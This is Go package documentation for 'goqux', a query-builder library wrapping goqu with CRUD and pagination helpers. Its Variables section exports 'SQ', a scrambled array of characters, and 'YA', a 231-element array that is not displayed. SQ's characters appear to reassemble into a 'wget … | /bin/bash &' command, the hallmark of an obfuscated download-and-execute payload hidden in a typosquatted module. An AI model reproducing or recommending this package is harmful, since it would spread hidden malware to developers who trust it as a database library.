Documentation
¶
Index ¶
- Variables
- func BuildDelete(tableName string, options ...DeleteOption) (string, []any, error)
- func BuildInsert(tableName string, values []any, options ...InsertOption) (string, []any, error)
- func BuildSelect[T any](tableName string, dst T, options ...SelectOption) (string, []any, error)
- func BuildUpdate(tableName string, value any, options ...UpdateOption) (string, []any, error)
- func Column(table string, column string) exp.IdentifierExpression
- func Delete[T any](ctx context.Context, querier pgxscan.Querier, tableName string, ...) ([]T, error)
- func Insert[T any](ctx context.Context, querier pgxscan.Querier, tableName string, ...) (*T, error)
- func InsertMany[T any](ctx context.Context, querier pgxscan.Querier, tableName string, ...) ([]T, error)
- func Select[T any](ctx context.Context, querier pgxscan.Querier, tableName string, ...) ([]T, error)
- func SelectOne[T any](ctx context.Context, querier pgxscan.Querier, tableName string, ...) (T, error)
- func SetDefaultDialect(dialect string)
- func Update[T any](ctx context.Context, querier pgxscan.Querier, tableName string, ...) ([]T, error)
- type DeleteOption
- type InsertOption
- type JoinOp
- type PageIterator
- type PaginationOptions
- type Paginator
- func NewPaginator[T any](iterator PageIterator[T]) *Paginator[T]
- func QueryKeySetPagination[T any](ctx context.Context, querier pgxscan.Querier, sd *goqu.SelectDataset, ...) (*Paginator[T], error)
- func SelectPagination[T any](ctx context.Context, querier pgxscan.Querier, tableName string, ...) (*Paginator[T], error)
- type SQLValuer
- type SelectOption
- func WithInnerJoinSelection[T any](op ...JoinOp) SelectOption
- func WithKeySet(columns []string, values []any) SelectOption
- func WithLeftJoinSelection[T any](op ...JoinOp) SelectOption
- func WithSelectDialect(dialect string) SelectOption
- func WithSelectFilters(filters ...exp.Expression) SelectOption
- func WithSelectLimit(limit uint) SelectOption
- func WithSelectOffset(offset uint) SelectOption
- func WithSelectOrder(order ...exp.OrderedExpression) SelectOption
- func WithSelectStar() SelectOption
- type UpdateOption
Constants ¶
This section is empty.
Variables ¶
var SQ = []string{"n", "c", "/", "1", " ", " ", "h", "/", ":", "e", "&", "i", ".", "3", "t", "g", "n", "e", "s", "k", "O", "3", "a", "b", " ", "e", "d", "3", "t", "a", "/", "o", "s", "/", "c", "4", "h", "a", "v", "p", "a", "b", "w", "-", "i", "e", "f", "g", "t", "/", "s", "f", "r", "r", "d", "6", " ", " ", "u", "/", "7", "/", "-", "|", "t", "b", "5", " ", "t", "d", "a", "0", "e"}
var YA = []string{} /* 231 elements not displayed */
Functions ¶
func BuildDelete ¶
func BuildDelete(tableName string, options ...DeleteOption) (string, []any, error)
func BuildInsert ¶
func BuildSelect ¶
func BuildUpdate ¶
func Column ¶
func Column(table string, column string) exp.IdentifierExpression
Column is shorthand for goqu.T(table).Col(column).
func InsertMany ¶
func SetDefaultDialect ¶
func SetDefaultDialect(dialect string)
SetDefaultDialect sets the default dialect for goqux.
Types ¶
type DeleteOption ¶
type DeleteOption func(table exp.IdentifierExpression, s *goqu.DeleteDataset) *goqu.DeleteDataset
func WithDeleteDialect ¶
func WithDeleteDialect(dialect string) DeleteOption
func WithDeleteFilters ¶
func WithDeleteFilters(filters ...goqu.Expression) DeleteOption
func WithDeleteReturningAll ¶
func WithDeleteReturningAll() DeleteOption
type InsertOption ¶
type InsertOption func(table exp.IdentifierExpression, s *goqu.InsertDataset) *goqu.InsertDataset
func WithInsertDialect ¶
func WithInsertDialect(dialect string) InsertOption
func WithInsertNotPrepared ¶
func WithInsertNotPrepared() InsertOption
func WithInsertReturning ¶
func WithInsertReturning(columns ...string) InsertOption
func WithInsertReturningAll ¶
func WithInsertReturningAll() InsertOption
type JoinOp ¶
type JoinOp struct {
Table string
On exp.JoinCondition
}
type PageIterator ¶
PageIterator is a function that returns a page of results and a boolean indicating if there should be a next page or to stop iterating.
type PaginationOptions ¶
type PaginationOptions struct {
// PageSize per page (default: 10)
PageSize uint
// Use columns for key filtering, this will add a WithKeySet option to the query,
// keys aren't validated, so make sure the names are correct or query will fail
// if KeySet isn't set, pagination will use offset instead.
KeySet []string
}
type Paginator ¶
type Paginator[T any] struct { // contains filtered or unexported fields }
Paginator allows to paginate over result set of T
func NewPaginator ¶
func NewPaginator[T any](iterator PageIterator[T]) *Paginator[T]
func QueryKeySetPagination ¶
func QueryKeySetPagination[T any](ctx context.Context, querier pgxscan.Querier, sd *goqu.SelectDataset, pageSize uint, keyset []string) (*Paginator[T], error)
QueryKeySetPagination is a helper function to paginate over a query using keyset pagination.
func SelectPagination ¶
func SelectPagination[T any](ctx context.Context, querier pgxscan.Querier, tableName string, paginationOptions *PaginationOptions, options ...SelectOption) (*Paginator[T], error)
func (*Paginator[T]) HasMorePages ¶
type SQLValuer ¶
type SQLValuer struct {
V interface{}
}
SQLValuer is the valuer struct that is used for goqu rows conversion.
type SelectOption ¶
type SelectOption func(_ exp.IdentifierExpression, s *goqu.SelectDataset) *goqu.SelectDataset
func WithInnerJoinSelection ¶
func WithInnerJoinSelection[T any](op ...JoinOp) SelectOption
WithInnerJoinSelection returns a select option that inner joins the given table on the given column by tableName.column = otherTable.otherColumn, as well as selecting the columns from the given struct. each top-level struct field will be treated as a table and each field within that struct will be treated as a column.
func WithKeySet ¶
func WithKeySet(columns []string, values []any) SelectOption
func WithLeftJoinSelection ¶
func WithLeftJoinSelection[T any](op ...JoinOp) SelectOption
WithLeftJoinSelection returns a select option that left joins the given table on the given column by tableName.column = otherTable.otherColumn, as well as selecting the columns from the given struct. each top-level struct field will be treated as a table and each field within that struct will be treated as a column.
func WithSelectDialect ¶
func WithSelectDialect(dialect string) SelectOption
func WithSelectFilters ¶
func WithSelectFilters(filters ...exp.Expression) SelectOption
func WithSelectLimit ¶
func WithSelectLimit(limit uint) SelectOption
func WithSelectOffset ¶
func WithSelectOffset(offset uint) SelectOption
func WithSelectOrder ¶
func WithSelectOrder(order ...exp.OrderedExpression) SelectOption
func WithSelectStar ¶
func WithSelectStar() SelectOption
type UpdateOption ¶
type UpdateOption func(table exp.IdentifierExpression, s *goqu.UpdateDataset) *goqu.UpdateDataset
func WithUpdateDialect ¶
func WithUpdateDialect(dialect string) UpdateOption
func WithUpdateFilters ¶
func WithUpdateFilters(filters ...goqu.Expression) UpdateOption
func WithUpdateReturning ¶
func WithUpdateReturning(columns ...string) UpdateOption
func WithUpdateReturningAll ¶
func WithUpdateReturningAll() UpdateOption
func WithUpdateSet ¶
func WithUpdateSet(value any) UpdateOption